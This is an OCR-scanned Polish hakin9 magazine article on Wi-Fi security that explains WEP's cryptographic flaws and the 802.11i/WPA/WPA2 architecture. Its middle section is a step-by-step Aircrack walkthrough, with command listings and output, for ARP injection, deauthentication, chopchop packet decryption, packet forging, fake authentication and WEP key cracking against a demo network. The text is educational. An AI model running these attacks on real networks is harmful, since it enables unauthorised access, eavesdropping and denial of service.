Temat numeru

Bezpieczenstwo
Wi-Fi — WEP, WPA i WPA2

Guillaume Lehembre l]

stopien trudnosci

awet jesli zabezpieczenia urzadzen
N Wi-Fi sg wiaczane, to najczesciej sto-

sowany jest w nich stabo szyfrowany
protokét — na przyktad WEP. Za chwile przyj-
rzymy sie stabosciom WEP i przekonamy sie,
ze jego ztamanie jest bardzo proste. Godny
pozatowania poziom zabezpieczeh oferowany
przez WEP w petni uzasadnia potrzebe wpro-
wadzenia nowej architektury bezpieczenstwa
w postaci standardu 802.11i — poznamy zatem
réwniez komercyjne implementacje tego stan-
dardu, WPA i WPA2. Przeanalizujemy nie tyl-
ko ich zalety, ale i pierwsze znane stabosci,
a takze mozliwosci integracji z systemami ope-
racyjnymi.

Odpoczywaj w pokoju, WEP

WEP (Wired Equivalent Privacy) byt domysl|-
nym protokotem wprowadzonym w pierwszym
standardzie IEEE 802.11 jeszcze w 1999 ro-
ku. Bazuje na algorytmie szyfrujgcym RC4,
w ktérym tajny klucz o dtugosci 40 lub 104 bi-
téw jest tgczony z 24-bitowym wektorem inicja-
lizacyjnym (WI), tworzgc cigg uzywany do za-
szyfrowania tekstu jawnego M oraz jego sumy
kontrolnej ICV (Integrity Check Value). Osta-
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4 Wi-Fi, czyli Wireless Fidelity, jest obecnie jedng z wiodacych
technologii bezprzewodowych, a jej obstuga pojawia sie w coraz
to nowych urzadzeniach: laptopach, palmtopach, telefonach
komoérkowych. Czesto pomijanym aspektem konfiguracji Wi-Fi
pozostaje, niestety, bezpieczenstwo. W tym artykule przyjrzymy
sie zabezpieczeniom, jakie oferuja dostepne implementacje Wi-Fi.

teczny szyfrogram C byt zatem wyliczany we-
dtug nastepujacego wzoru:

C=[M]|ICV(M)]+[RCA4(K | WI)]

gdzie || jest operatorem konkatenacji, a + jest
operatorem XOR. Widac¢ tu wyraznie, ze bezpie-
czenstwo transmisji WEP zalezy od wektora ini-
cjalizacyjnego, ktory dla utrzymania przyzwoite-

p
Z artykutu dowiesz sie...

jakie sg stabosci algorytmu szyfrujgcego WEP,
na czym polega dziatanie standardu 802.11i
oraz jego komercyjnych implementacji: WPA i
WPA2,

podstaw protokotu 802.1x,

jakie sg potencjalne stabosci WPA i WPA2.

Powinienes wiedzieé...

powinienes$ zna¢ podstawy dziatania protokotéw
TCP/IP i Wi-Fi,

powiniene$ orientowaé sie w podstawowych
pojeciach kryptograficznych.
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go poziomu zabezpieczen i minimali-
zacji ujawnien powinien by¢ zwieksza-
ny dla kazdego pakietu tak, by kazdy
kolejny pakiet byt szyfrowany innym
kluczem. Niestety, WI jest przesytany
otwartym tekstem a standard 802.11
nie przewiduje obowigzkowe;j jego in-
krementacji. W efekcie dostepnos¢ te-
go zabezpieczenia zalezy wytgcznie
od implementacji standardu, ktéra be-
dzie dziata¢ na konkretnej stacji bez-
przewodowej (punkcie dostepowym
lub karcie bezprzewodowej).

Krétka historia WEP

Protokét WEP nie zostat stworzony
przez specjalistow w dziedzinie bez-
pieczenstwa i kryptografii, totez wkrét-
ce po jego wprowadzeniu okazato sie,
ze opisane cztery lata wczes$niej sta-
bosci algorytmu RC4 sg aktualne
i tutaj. W 2001 roku Scott Fluhrer, It-
sik Mantin i Adi Shamir (znani pod ko-
lektywnymi inicjatami FMS) opubliko-
wali gtosny artykut o WEP, opisujacy
powazne podatnosci algorytmu szy-
frujgcego RC4 na dwa rodzaje ata-
kéw: atak na niezmienno$¢ klucza
i atak ze znanym WI. Oba wykorzystu-
ja fakt, ze dla niektérych wartosci klu-
cza poczatkowe bajty strumienia mo-
ga byc¢ zalezne jedynie od kilku bitéw
klucza szyfrujgcego — cho¢ teoretycz-
nie kazdy bit strumienia powinien roz-
ni¢ sie od poprzedniego z prawdopo-
dobienstwem 50%. Klucz szyfrujacy
jest tu tworzony przez proste skleje-
nie klucza tajnego z WI, totez w isto-
cie dla niektérych wartosci WI istnie-
ja klucze stabe.

Podatnosci na ataki zostaty wy-
korzystane w praktyce przez ta-
kie narzedzia, jak na przyktad Air-
Snort, potrafigce odtworzy¢ klu-
cze WEP na podstawie analizy do-
statecznie duzej ilosci zaszyfrowa-
nych pakietéw. O ile jednak w ruchli-
wej sieci taki atak mozna byto przy-
pusci¢ w rozsgdnym czasie, o tyle
co do zasady czas przez niego wy-
magany byt dos¢ dtugi. David Hulton
(h1kari) opracowat zoptymalizowang
wersje tego ataku, uwzgledniajaca
w wyliczeniach nie tylko pierwszy
bajt wyniku RC4 (jak to miato miej-
sce w metodzie FMS), ale rowniez
kolejne bajty, co pozwolito nieco

T TN

Strumien szyfrujacy = RC4 (IV,k) |

XOR

ICV(M) |

<
<

Y

ZASZYFROWANE

C=[M]||ICV(M)] +[RC4(K | IV)]

Rysunek 1. Protokét szyfrujgcy WEP

Tabela 1. Karta chorobowa protokotu WEP

wrzesien 1995  Odkrycie potencjalnej stabosci algorytmu RC4 (Wagner)

pazdziernik
2000
(Walker)
maj 2001
WEP2 (Arbaugh)
lipiec 2001

Pierwsza publikacja opisujaca podatnosci WEP: Unsa-
fe at any key size; An analysis of the WEP encapsulation

Indukcyjny atak z wybranym tekstem jawnym na WEP/

Atak na CRC z przerzucaniem bitéw — Intercepting Mo-

bile Communications: The Insecurity of 802.11 (Borisov,

Goldberg, Wagner)
sierpien 2001

Ataki FMS — Weaknesses in the Key Scheduling Algori-

thm of RC4 (Fluhrer, Mantin, Shamir)

sierpien 2001
luty 2002
sierpien 2004

lipiec/sierpien
2004

zmniejszy¢ ilos¢ danych niezbed-
nych do odtworzenia klucza.

Z etapem sprawdzania integral-
nosci wigze sie rowniez powazna sta-
bos¢ wynikajaca z uzycia CRC32 ja-
ko algorytmu sumy kontrolnej. CRC32
jest wprawdzie czesto uzywany do
wykrywania btedéw transmisji, ale
ze wzgledu na liniowos¢ przetwarza-
nia nigdy nie byt uwazany za algorytm
kryptograficznie bezpieczny. Juz czte-
ry lata temu dowiedli tego Nikita Bory-
sow, lan Goldberg i David Wagner.

Po tych odkryciach powszechnie
przyjeto, ze oferowany przez WEP po-
ziom bezpieczenstwa nadaje sie wy-
tacznie dla uzytkownikdw domowych
i aplikacji bez znaczenia krytyczne-
go. Nawet to zastrzezenie stracito jed-
nak racje bytu w 2004 roku, gdy poja-
wity sie ataki KoreKa (uogolnione ata-
ki FMS korzystajgce z optymalizaciji
h1kariego) oraz odwrotny atak induk-

Publikacja AirSnorta

Zoptymalizowane ataki FMS autorstwa h1kari

Ataki KoreKa z niepowtarzalnymi WI, publikacja narzedzi
chopchop i chopper

Narzedzia Aircrack (Devine) i WepLab (Sanchez) imple-
mentujgce ataki KoreKa

cyjny Arbaugha, pozwalajace na de-
szyfrowanie dowolnych pakietéw bez
znajomosci klucza z wykorzystaniem
techniki wstrzykiwania pakietow. Na-
rzedzia implementujgce te techniki,
na przyktad Aircrack autorstwa Chri-
stophe’a Devine’a czy WepLab José
Ignacia Sancheza, potrafig odtworzy¢
128-bitowy klucz WEP w zaledwie
10 minut (czasem troche diuzej, w za-
leznosci od konkretnego punktu do-
stepowego i karty sieciowej).

Dodanie wstrzykiwania pakietéw
znacznie skrécito czas tamania za-
bezpieczen WEP, gdyz odtworzenie
klucza nie wymagato juz milionéw,
a zaledwie tysiecy pakietow o roz-
nych WI — okoto 150 000 dla 64-bito-
wego klucza WEP i 500 000 dla klu-
cza 128-bitowego. Technika wstrzy-
kiwania pozwala zebra¢ potrzebne
dane dostownie w kilka minut. Pro-
tokét WEP jest zatem nieodwotalnie
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Listing 1. Wigczenie trybu monitorowania quania ARP

¥ airmon.sh start ath0 Opisany w RFC826 protokét ARP (Ad-

Interface Chipset Driver dress Resolution Protocol) stuzy do

ath0 Atheros madwifi (monitor mode enabled) ttumaczenia 32-bitowego adresu IP

na 48-bitowy adres ethernetowy (bo-

wiem sieci Wi-Fi réwniez korzystajg

Lo i Lo L . i ; z protokotu Ethernet). Dla przyktadu

Listing 2. Wykrywanie pobliskich sieci bezprzewodowych i ich klientow zalézmy, ze komputer A (192.168.1.1)

# airodump athO wep-crk 0 chce sie porozumie¢ z komputerem

B (192.168.1.2), co wymaga przettu-

BSSID PWR Beacons # Data CH MB ENC  ESSID maczenia znanego adresu IP odbior-

00:13:10:1F:9A:72 62 305 16 1 48 WEP  hakin9demo cy na adres MAC z pomocg protoko-

tu ARP. Komputer A wysyta wiec pa-

BSSID STATION PWR Packets ESSID kiet rozgtoszeniowy zawierajacy adres

00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo IP adresata (Who has 192.168.1.2? Tell

192.168.1.1). Widzac w zapytaniu swoj

wiasny adres, komputer B zwraca od-

martwy (patrz Tabela 1) i nie nalezy « aireplay: narzedzie do wstrzyki- powiedz (192.168.1.2 is at 01:23:45.67.

go uzywag, nawet w przypadku sto- wania pakietow, 89.04), kidra z reguly jest nastepnie
sowania rotacji kluczy. « aircrack: tamacz kluczy WEP sktadowana w pamigci podrecznej.

Wady bezpieczenstwa protoko- przetwarzajagcy niepowtarzalne \

tu WEP mozna podsumowac naste-
pujaco:

» stabosci algorytmu RC4 przenie-
sione na WEP ze wzgledu na me-
tode generowania klucza,

« zbyt krotki WI (24 bity — wystar-
czy niecate 5000 pakietow, by
osiggna¢ piecdziesiecioprocen-
towe prawdopodobienstwo ko-
lizji) i dopuszczenie powtdrne-
go wykorzystania tego samego
WI (brak ochrony przed atakami
z powtorzeniem wiadomosci),

* brak przyzwoitego sprawdzania
integralnosci (algorytm CRC32
nadaje sie do wykrywania bte-
dow, ale nie jest kryptograficznie
bezpieczny ze wzgledu na swa li-
niowosc),

» brak wbudowanej metody aktuali-
zacji kluczy.

tamanie kluczy WEP

z pomoca Aircracka

O tatwosci tamania zabezpieczen
WEP mozna sie przekonac korzysta-
jac z narzedzia Aircrack, stworzone-
go przez francuskiego badacza Chri-
stophe’a Devine’a. Pakiet Aircrack
zawiera trzy podstawowe narzedzia,
odpowiadajgce trzem kolejnym fa-
zom ataku:

» airodump: sniffer do wykrywania
sieci obstugujacych WEP,
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WI zebrane podczas nastuchu.

Wstrzykiwanie z  wykorzystaniem
aireplay dziata jedynie dla wybranych
chipsetow bezprzewodowych, a w try-
bie monitorowania wymaga dodatko-
wo zmodyfikowanych wersji najnow-
szych sterownikéw. Tryb monitorowa-
nia jest odpowiednikiem trybu promi-
scuous dla sieci przewodowych i po-
lega na nieodrzucaniu pakietéw prze-
znaczonych dla innych kart siecio-
wych (co ma zwykle miejsce w war-
stwie fizycznej modelu OSI), czyli
w efekcie na przechwytywaniu
wszystkich otrzymywanych pakietéw.
Zmodyfikowane sterowniki pozwalajg
jednoczesnie odbiera¢ i wstrzykiwaé
pakiety na tej samej karcie.

Gtéwnym celem ataku jest gene-
rowanie sztucznego ruchu miedzy
uprawnionym klientem sieci a punk-
tem dostepowym, co pozwala prze-
chwytywacé niepowtarzalne WI. Pew-
ne rodzaje zaszyfrowanych infor-
macji mozna tatwo rozpoznac, gdyz
majg one, na przyktad, statg dtugos¢
czy staty adres docelowy. Dotyczy to
miedzy innymi pakietow zgdan ARP
(patrz Ramka Zgdania ARP), ktore
sg zawsze wysytane na adres roz-
gtoszeniowy (FF:FF:FF:FF:FF:FF)
i majg statg dtugosc¢ 68 bajtow. Moz-
liwe jest ciggte wysytanie zadan
ARP do tego samego komputera, co
sprawi, ze bedzie on szyfrowat iden-
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tyczne wiadomosci z kolejnymi war-
tosciami WI.

W ponizszych przyktadach 00:
13:10:1F:9A:72 jest adresem MAC
punktu dostepowego (BSSID) na
kanale 1 o SSID hakin9demo, a 00:
09:5B:EB:C5:2B jest adresem MAC
klienta sieci bezprzewodowej (w za-
leznosci od przypadku korzystajace-
go z WEP lub z WPA-PSK). Wyko-
nanie opisywanych polecen wymaga
uprawnien roota.

Zaczynamy od przefgczenia na-
szej karty bezprzewodowej (w tym
przypadku karty z chipsetem Athe-
ros) w tryb monitorowania, co pozwoli
przechwytywac¢ wszystkie pakiety (Li-
sting 1). Kolejnym etapem jest wykry-
cie pobliskich sieci i ich klientow po-
przez skanowanie wszystkich 14 moz-
liwych kanatéw, z jakich mogg korzy-
stac sieci Wi-Fi (Listing 2).

Wynik widoczny na Listingu 2
nalezy interpretowaé nastepujgco:
punkt dostepowy o BSSID 00:13:10:
1F:9A:72 uzywa szyfrowania WEP
na kanale 1 z SSID hakin9demo,
a z siecig skojarzony jest jeden uwie-
rzytelniony klient o adresie MAC 00:
0C:F1:19:77:5C.

Gdy juz namierzyliSmy sie¢ do-
celowg, musimy uruchomi¢ prze-
chwytywanie pakietow na odpowied-
nim kanale, by unikng¢ przepuszcza-
nia pakietow podczas niepotrzebne-
go skanowania kolejnych kanatow.
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Nastepujace polecenie ponownie da
taki sam wynik, jak na Listingu 2:

# airodump ath0 wep-crk 1

Teraz mozemy juz wykorzystac ze-
brane informacje do wstrzykniecia
pakietow za pomocg narzedzia aire-
play. Proces wstrzykiwania rozpocz-
nie sie w momencie zarejestrowania
w monitorowanej sieci zgdania ARP,
dotyczacego namierzanego BSSID:

# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 athO

(...)

Read 980 packets
(got 16 ARP requests),

sent 570 packets...

Pozostaje juz tylko odtworzy¢ klucz
WEP za pomocg narzedzia aircrack.
Skorzystanie z pliku pcap pozwoli
uruchomic ten ostatni etap, gdy airo-
dump nadal rejestruje pakiety (Rysu-
nek 2 przedstawia wyniki):

# aircrack -x -0 wep-crk.cap

Inne odmiany atakéw
z narzedziem Aircrack

Aircrack pozwala przeprowadzac
takze kilka innych, rownie cieka-
wych atakéw. Przyjrzyjmy sie blizej
kilku z nich.

Atak 2: Anulowanie
uwierzytelnienia
Ta metoda ataku moze postuzy¢ do
odtworzenia ukrytego, czyli nieroz-
gtaszanego SSID, przechwycenia
czteroetapowej negocjacji potacze-
nia WPA lub zablokowania ustugi
(wiecej o tym ostatnim zastosowaniu
w czesci poswieconej protokotowi
802.11i). Celem ataku jest zmusze-
nie klienta do ponownego uwierzy-
telnienia sie w sieci, co w potgczeniu
z brakiem uwierzytelniania dla ra-
mek sterujgcych (odpowiedzialnych
wtasnie za uwierzytelnianie, kojarze-
nie z siecig itd.) pozwala napastniko-
wi fatszowac adresy MAC.

Za pomoca ponizszego polecenia
mozna zmusi¢ klienta sieci bezprze-

[00:00:09] Tested 2 keys {got 707852 IVs)

Rysunek 2. Wyniki pracy Aircracka po kilku minutach

wodowej do ponownego uwierzytel-
nienia, podszywajac sie pod BSSID
i wysytajac odpowiednio spreparowa-
ne pakiety na adres MAC klienta:

e

aireplay -0 5

-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0

Mozliwa (cho¢ nie zawsze skutecz-
na) jest masowa wersja tego ataku,
polegajgca na wielokrotnym podszy-
waniu sie pod BSSID i wysytaniu pa-
kietbw wymuszajacych uwierzytel-
nienie na adres rozgtoszeniowy:

# aireplay -0 0
-a 00:13:10:1F:9A:72
ath0

Atak 3: Deszyfrowanie
dowolnych pakietéw WEP bez
znajomosci klucza

Atak ten wykorzystuje stworzone
przez KoreKa narzedzie typu pro-
of-of-concept o nazwie chopchop,
pozwalajgce deszyfrowaé pakiety
WEP bez znajomosci klucza. Sto-
sowane w protokole WEP sprawdze-
nie integralnosci pozwala napastni-
kowi modyfikowa¢ zaréwno szyfro-
gram, jak i jego CRC. Co gorsze, wy-
korzystanie operatora XOR w proto-
kole WEP oznacza, ze dany bajt szy-
frogramu jest zalezny od odpowiada-
jacego mu pozycjq bajtu wiadomosci
jawnej. Préba odgadniecia ostatnie-
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go bajtu wiadomosci wymaga zatem
usuniecia ostatniego bajtu szyfrogra-
mu i zastgpienia go innym, a nastep-
nie wystania zmodyfikowanego pa-
kietu z powrotem do sieci.

Jesli bajt nie zostanie odgad-
niety, punkt dostepowy odrzuci pa-
kiet i trzeba bedzie sprobowac jesz-
cze raz. Jesli natomiast pakiet zosta-
nie przyjety i przekazany dalej, to bajt
zostat poprawnie odgadniety. Powté-
rzenie procedury dla wszystkich baj-
téw wiadomosci pozwoli odszyfrowaé
pakiet WEP i odtworzy¢ strumien klu-
cza. Wiemy juz, ze zwiekszanie WI
kolejnych pakietow nie jest w protokole
WEP obowigzkowe, totez wykorzysta-
nie odtworzonego strumienia i prze-
chwyconego WI do szyfrowania sfat-
szowanych pakietow nie jest trudne.

Wykonanie ataku wymaga, by
karta bezprzewodowa nastuchiwa-
ta na odpowiednim kanale w trybie
monitorowania (tak samo, jak w po-
przednim przyktadzie), a ofiarg ata-
ku powinien by¢ poprawnie skojarzo-
ny klient sieci (w naszym przypadku
ponownie bedzie nim 00:0C:F1:19:
77:5C). Aireplay bedzie nas pytac
o pozwolenie wykorzystania kolej-
nych zaszyfrowanych pakietow (Li-
sting 3). W wyniku zostang utworzo-
ne dwa pliki pcap: jeden dla odszy-
frowanego pakietu, a drugi dla stru-
mienia klucza uzytego do szyfrowa-
nia. Pliki te mozna przegladac za po-
mocg dowolnego narzedzia prze-
znaczonego do tego celu — my sko-
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Listing 3. Deszyfrowanie pakietow WEP bez znajomoS$ci klucza

# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...

Size: 124, FromDS: 0, ToDS: 1 (WEP

BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c £f119 775¢c .A....... r.o...w\
0x0010: 0013 101f 9a70 c040 c3ec el00 blel 062c ..... p.C....... '
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 Sabd 5b76 \.'...h.#..GZ.[v
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x..... 0...hv.S1
0x0040: 7046 5fd2 d44b c6al a3e2 6ael 3477 74b4 pF ..K....Jj.dwt.
0x0050: fbl3 clad b8b8 e735 239a 55c2 ead9f 5S5be6 ....... 5#.0 [
0x0060: 862b 3ecl 5bla ala7 223b 0844 37dl e6el .+>.[...";.D7...
0x0070: 3b88 c5bl 0843 0289 1bff 5160 [ G O

Use this packet ? y
Saving chosen packet in replay src-0916-113713.cap

Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)

Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms

Saving plaintext in replay dec-0916-114019.cap
Saving keystream in replay dec-0916-114019.xor
Completed in 183s (0.47 bytes/s

Listing 4. Czytanie pliku pcap utworzonego w wyniku ataku

# tcpdump -s 0 -n -e -r replay dec-0916-114019.cap

reading from file replay dec-0916-114019.cap, link-type IEEE802_ 11 (802.11
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:£1:19:77:5c DA:00:13:10:1f:9a:70
LLC, dsap SNAP (Oxaa), ssap SNAP (Oxaa), cmd 0x03: oui Ethernet (0x000000),
(0x0800): 192.168.2.103 > 192.168.2.254:

length 64

ethertype IPv4
ICMP echo request, id 23046, seq 1,

Listing 5. Wielokrotne wysytanie sfatszowanego pakietu

# aireplay -2 -r forge-arp.cap athO
Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c £f119 775¢c .A....... r.o...w\
0x0010: ffff £fff £f£ff 8001 c3ec el00 blel 062C ...vvvrinvnnnn. ,
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 lab0 199¢c \.'.I. .%.KF....
0x0030: b78c 5307 6f2d bdce dl8c 8d33 ccll 510a ..S.o-..... 3..0.
0x0040: 49b7 52da I.R.

Use this packet ? y

Saving chosen packet in replay src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...

.

rzystamy z programu fcpdump. Li-
sting 4 przedstawia odszyfrowa-
ne zadanie echa (ping) wymienione
miedzy dwoma komputerami. # arpforge \

Znajomos¢ strumienia klucza replay dec-0916-114019.xo0r \
pozwala tez fatszowac¢ pakiety. Oto 1\
sfatszowane zgdanie ARP wystane

z rzekomego 192.168.2.123 (00:0C:
F1:19:77:5C) do 192.168.2.103:

00:13:10:1F:9A:72 \
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00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \

forge-arp.cap

Pozostaje juz tylko wielokrotnie wy-
sta¢ ten pakiet za pomoca aireplay
(patrz Listing 5).

Przedstawiona metoda ataku jest
mniej zautomatyzowana niz mecha-
nizm fatszowania zgdan ARP wbu-
dowany w Aircracka (wtgczany prze-
tacznikiem -1), ale za to bardziej ela-
styczna. Napastnik moze wykorzy-
sta¢ odtworzony strumien klucza
do sfatszowania dowolnego pakietu
o dilugosci nieprzekraczajacej dtu-
gosci klucza; dtuzsze pakiety wyma-
gatyby znajomosci wiekszej czesci
strumienia klucza.

Atak 4: Fatszowanie
uwierzytelniania

Opisana wczesniej metoda tama-
nia klucza (ataki 1 i 3) wymaga, by
uprawniony klient (fizyczny lub wir-
tualny, cho¢ fizyczny jest lepszy) byt
skojarzony z punktem dostepowym.
W przeciwnym razie punkt dostepo-
wy mogtby odrzucac pakiety kiero-
wane pod nieskojarzony adres.

Jesli stosowane jest otwarte uwie-
rzytelnianie, to mozliwe jest tez uwie-
rzytelnienie dowolnego klienta i sko-
jarzenie go z punktem dostepowym,
ale ten ostatni odrzuci wszelkie pakie-
ty niezaszyfrowane odpowiednim klu-
czem WEP. Przykfad z Listingu 6 ilu-
struje wykorzystanie aireplay do sfat-
szowania zadania uwierzytelnienia
i skojarzenia dla SSID hakin9demo
(BSSID: 00:13:10:1F:9A:72) o sfatszo-
wanym adresie MAC 0:1:2:3:4:5.

Niektore punkty dostepowe wyma-
gaja od klientéw powtdérnego uwierzy-
telniania co 30 sekund. Aireplay umoz-
liwia nasladowanie tego zachowania
— wystarczy jako drugg opcje w wier-
szu polecen podac wartosc¢ 3o.

802.11i

W styczniu 2001 roku stworzono w ra-
mach |IEEE grupe projektowq i, maja-
cq za zadanie ulepszenie mechani-
zmow uwierzytelniania i szyfrowania
danych protokotu 802.11. W kwietniu
2003 roku Wi-Fi Alliance (organiza-
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Bezpieczenstwo WEP, WPA i WPA2

IEEE 802.1X i EAP

Protokot uwierzytelniania IEEE 802.1X (znany tez pod nazwa Port-Based Network Ac-
cess Control) zostat pierwotnie stworzony dla sieci przewodowych. Zapewnia on me-
chanizmy uwierzytelniania, autoryzacji, dystrybucji klucza i kontroli dostgpu uzytkow-
nikéw dotaczajacych do sieci. Architektura IEEE 802.1X obejmuje trzy podmioty funk-
cjonalne:

» petenta (supplicant) dotaczajgcego do sieci,
*  podmiot uwierzytelniajgcy odpowiedzialny za kontrole dostepu,
» serwer uwierzytelniania podejmujacy decyzje o autoryzaciji.

W sieciach bezprzewodowych za uwierzytelnianie odpowiada punkt dostepowy. Kazdy
fizyczny port sieci (a w przypadku sieci bezprzewodowych — port wirtualny) dzielony jest
na dwa porty logiczne, razem sktadajace sie na obiekt dostepu do portu, czyli PAE (Port
Access Entity). PAE uwierzytelniania jest zawsze otwarty i przepuszcza jego ramki, na-
tomiast PAE ustug jest otwierany dopiero wtedy, gdy jest w stanie autoryzowanym — czyli
po udanym uwierzytelnieniu — i tylko na okreslony czas (domyslnie 3600 sekund). Decy-
zja o dopuszczeniu dostepu jest na ogdt podejmowana przez trzecig strone komunika-
¢ji, czyli serwer uwierzytelniania, ktérym moze by¢ zaréwno osobny serwer Radius, jak i
prosty proces dziatajacy w ramach punktu dostepowego (na przyktad w sieciach domo-
wych). Rysunek 3 ilustruje proces komunikacji podmiotow 802.1X.

Standard 802.11i wprowadza w |IEEE 802.1X drobne zmiany dla potrzeb sieci bez-
przewodowych, majace na celu zabezpieczenie przed kradziezg tozsamosci. Wpro-
wadzone zostato dodatkowe uwierzytelnianie wiadomosci, ktére pozwala upewnic sie,
ze zaréwno petent, jak i podmiot uwierzytelniajacy majg wyliczone tajne klucze i wig-
czyli szyfrowanie przed uzyskaniem dostepu do sieci.

Petent i podmiot uwierzytelniajacy komunikujg sie za pomocg protokotu oparte-
go na EAP, przy czym rola tego drugiego jest w zasadzie pasywna — moze on po pro-
stu przekazywac wszystkie zadania uwierzytelnienia do serwera. EAP okresla ogélne
zasady transportu ré6znego rodzaju metod uwierzytelniania i dopuszcza bardzo ogra-
niczong liczbe komunikatéw (Request, Response, Success, Failure). Inne komunika-
ty zaleza juz od wybranej metody uwierzytelnienia: EAP-TLS, EAP-TTLS, PEAP, Ker-
beros V5, EAP-SIM itd. Po zakonczeniu tego procesu obie strony (petent i serwer
uwierzytelniajacy) maja wtasny, tajny klucz nadrzedny. Komunikacja miedzy podmio-
tem uwierzytelniajacym a serwerem odbywa sie poprzez protokdt EAPOL (EAP Over
LAN), stosowany w sieciach bezprzewodowych do przenoszenia danych EAP w ra-
mach protokotow wyzszego poziomu (na przyktad protokotu Radius).

J

cja majgca za cel popularyzacje i cer-
tyfikacje rozwigzan Wi-Fi) ogtosita ofi-
cjalng rekomendacje w reakcji na wat-
pliwosci uzytkownikéw korporacyjnych
co do bezpieczenstwa sieci bezprze-
wodowych. Byto jednak oczywiste, ze
wszelkie nowe rozwigzania bedg mu-
siaty bazowa¢ na wykorzystaniu ist-
niejacego sprzetu.

W czerwcu 2004 roku przyjeto
ostateczng wersje standardu 802.11i,
ktérej wersja komercyjna otrzymata

od Wi-Fi Alliance nazwe WPA2. Stan-
dard |IEEE 802.11i wprowadzat szereg
fundamentalnych zmian, na przyktad
oddzielenie uwierzytelniania uzytkow-
nikow od zapewniania integralnosci
i poufnosci danych, tworzac tym sa-
mym niezawodng i skalowalng archi-
tekture bezpieczenstwa nadajaca sie
tak samo dobrze dla sieci domowych,
jak dla duzych sieci korporacyjnych.
Nowa architektura sieci bezprzewodo-
wych nosi nazwe Robust Security Ne-

Listing 6. Fatszywe uwierzytelnianie

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0

18:30:00 Sending Authentication Request

18:30:00 Authentication successful
18:30:00 Sending Association Request
18:30:00 Association successful

www.hakin9.org

twork (RSN) i wykorzystuje uwierzy-
telnianie z protokotem 802.1X, nieza-
wodng dystrybucje klucza oraz nowe
mechanizmy zapewniania integralno-
Sci i poufnosci.

Architektura RSN jest bardziej
skomplikowana od jego poprzednika,
ale za to pozwala tworzy¢ bezpiecz-
ne i skalowalne systemy komunikac;ji
bezprzewodowej. Sie¢ RSN z zato-
zenia dopuszcza wytgcznie urzadze-
nia z obstugg RSN, lecz standard |E-
EE 802.11i przewiduje tez przejsciowg
architekture TSN (Transitional Security
Network), dopuszczajacg wspotprace
systeméw RSN i WEP — tym samym
dajaca uzytkownikom wiecej czasu
na przyszta wymiane sprzetu. Jesli
proces uwierzytelniania lub kojarze-
nia miedzy punktami sieci odbywa sie
z wykorzystaniem negocjacji cztero-
etapowej, to ustalone w ten sposob
skojarzenie nosi nazwe RSNA (Ro-
bust Security Network Association).

Nawigzanie bezpiecznego kon-
tekstu komunikacji sktada sie z czte-
rech faz (patrz Rysunek 4):

» uzgodnienia polityki bezpieczen-
stwa,

* uwierzytelniania 802.1X,

» generowania i dystrybucji klucza,

» zapewnienia integralnosci i pouf-
nosci danych w ramach architek-
tury RSNA.

Faza 1: Uzgodnienie polityki
bezpieczenstwa

W ramach pierwszej fazy komuniku-
jace sie strony muszg uzgodnic¢ sto-
sowang polityke bezpieczenstwa.
Polityki obstugiwane przez punkt do-
stepowy sg ogtaszane jako parametr
Beacon lub zwracane w komunikacie
Probe Respond, stanowigcym odpo-
wiedz na nadestany przez klien-
ta Probe Request. Potem nastepuje
standardowe otwarte uwierzytelnia-
nie (podobne, jak w przypadku sie-
ci TSN, gdzie uwierzytelnianie jest
zawsze udane). Odpowiedz klienta
jest dotaczana do zadania skojarze-
nia (Association Request) i zatwier-
dzana za pomocg odpowiedzi ode-
stanej przez punkt dostepowy (Asso-
ciation Response). Informacje o poli-
tyce bezpieczenstwa sa przesytane
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Temat numeru

w ramach pola IE (Information Ele-
ment) ramki RSN, okreslajgcego:

» obstugiwane metody uwierzytel-
niania (802.1X, Pre-Shared Key

(PSK)),
» protokoty bezpieczenstwa dla
transmisji pojedynczej (CCMP,

TKIP itd.) — zestaw szyfrow do
komunikaciji jeden do jednego,

» protokoty bezpieczenstwa dla
transmisji grupowej (CCMP, TKIP
itd.) — zestaw szyfrow do komuni-
kacji grupowej,

+ obstuge wstepnego uwierzytel-
niania, dzieki ktéremu uzytkow-
nicy moga sie ptynnie przetgczac
miedzy réznymi punktami doste-
powymi w tej samej sieci.

Rysunek 5 przedstawia przebieg
pierwszej fazy.

Faza 2: uwierzytelnianie
802.1X

Druga faza obejmuje uwierzytelnia-
nie 802.1X wykorzystujace EAP i kon-
kretng, uzgodniong wczesniej meto-
de uwierzytelniania: EAP/TLS z cer-
tyfikatami klienta i serwera (co wyma-
ga dostepnosci infrastruktury klucza
publicznego), EAP/TTLS lub PEAP
z uwierzytelnianiem mieszanym (cer-
tyfikaty sg wymagane jedynie od ser-
werow) itd. Proces uwierzytelniania
802.1X rozpoczyna sie w chwili, gdy
punkt dostepowy zazada danych o
tozsamosci klienta. Odpowiedz klien-
ta okresla preferowang metode uwie-
rzytelnienia. Miedzy klientem a serwe-
rem uwierzytelniajgcym wymieniane
sq nastepnie komunikaty majace na
celu ustalenie wspodlnego klucza nad-
rzednego (Master Key, czyli MK). Na
zakonczenie serwer wysyta do punk-
tu dostepowego komunikat Radius Ac-
cept, zawierajacy MK i ostateczny ko-
munikat EAP Success dla klienta. Ry-
